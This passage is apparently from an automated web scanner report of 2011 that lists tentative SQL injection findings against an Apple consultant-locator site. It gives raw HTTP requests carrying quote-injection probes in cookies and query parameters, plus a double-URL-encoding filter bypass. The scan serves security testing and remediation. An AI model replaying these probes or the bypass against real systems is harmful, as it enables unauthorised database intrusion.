__utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:43:01 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory''&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:43:02 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 89
Connection: close
Content-Type: text/html; charset=UTF-8

You specified a Fuseaction of directory&#039;&#039; which is not defined in Circuit home.
1.8. http://consultants-locator.apple.com/index.php [geo cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The geo cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the geo cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US'; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 20:00:12 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US''; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 20:00:13 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.9. http://consultants-locator.apple.com/index.php [q parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The q parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the q parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221' HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:43:05 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221'' HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:43:06 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45324

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.10. http://consultants-locator.apple.com/index.php [s_membership cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The s_membership cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the s_membership cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid'; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:49:37 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; s_membership=1%3Aaid''; s_orientation=%5B%5BB%5D%5D; s_cc=true; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=%5B%5BB%5D%5D; s_orientationHeight=652; ccl=Sik/e2L4lZvfbdz7IuiJSX/x3IrxAEgCyuFguN1GzU+U7R6R/nYLmAjFIaPoY62MMsYsijUHMhziF/gOupEMZ0J0A9bbHtS/zCGSiEOo0TiJla0fqrwY4o4wnwvbEqZY+x0crnytPl6QJiGTn8WoHHYBk6Pg3B4H69jPn/crCqvtB5vIpoX3TnvyA5mEOi4jcjivP9Fpy1pQoa/O4F6jbiTZAqP0u/Dk+FhQ2lkdqsAZVlfchc/wJ2/og/M5ngACgFRgmGTfKqA1Wt4k5cfdoPQRGK7kkJY20932xUa98yR8sd2/56npY3QGG9qy+A4zfF1+dYHHne6vnE4rZ7DNhjbjEueQmK6l6XLhn/UcaNNwVaXtuW8RubzKEgTmcGeMlCjczGJgFQhtpc1xK525UytNBO+uGyz1QHDYW57+mOmp9buEwyUowix4ju1mQGn254y14YWve0ekRN6C9iY1/pjwb12q8qSgTxbB5ENue5YRwp9cKuAG34CPPaExR7UD1NOnWa7P6DdhXtEpr/wgeKafe3B+9ngICaX/KX0VOhqK4jpllUn/sOlqqSomjjj1; geo=US

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:49:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45312

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.11. http://consultants-locator.apple.com/index.php [s_orientationHeight cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The s_orientationHeight cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the s_orientationHeight cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the s_orientationHeight cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&rppg=8&q=b0ad728d6b0d7d8318425ae1f7b86b60%22+and+3-2+%3D+%221 HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310698467867'%5D%2C%5B'OAS-US-DOMAINS-mac.com'%2C'1310703720371'%5D%2C%5B'oas-us-domains-mac.com'%2C'1310703744694'%5D%2C%5B'www.fakereferrerdominator.com'%2C'1310752608818'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D2%3Bch%3Ddeveloper%26vn%3D3%3Bch%3Dbuy%26vn%3D2%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3Bch%3Dcontact%26vn%3D1%3Bch%3Deducation%26vn%3D2%3Bch%3Dmyappleid.iforgot%26vn%3D2%3Bch%3Dmac%26vn%3D1%3Bch%3Dmacosx%26vn%3D2%3Bch%3Djobs%26vn%3D1%3Bch%3Dretailstore%26vn%3D1%3Bch%3Dtrailers%26vn%3D1%3Bch%3Dipod%26vn%3D1%3Bch%3Ditunes%26vn%3D1%3Bch%3Dmyappleid%26vn%3D1%3Bch%3Dali%26vn%3D1%3B; 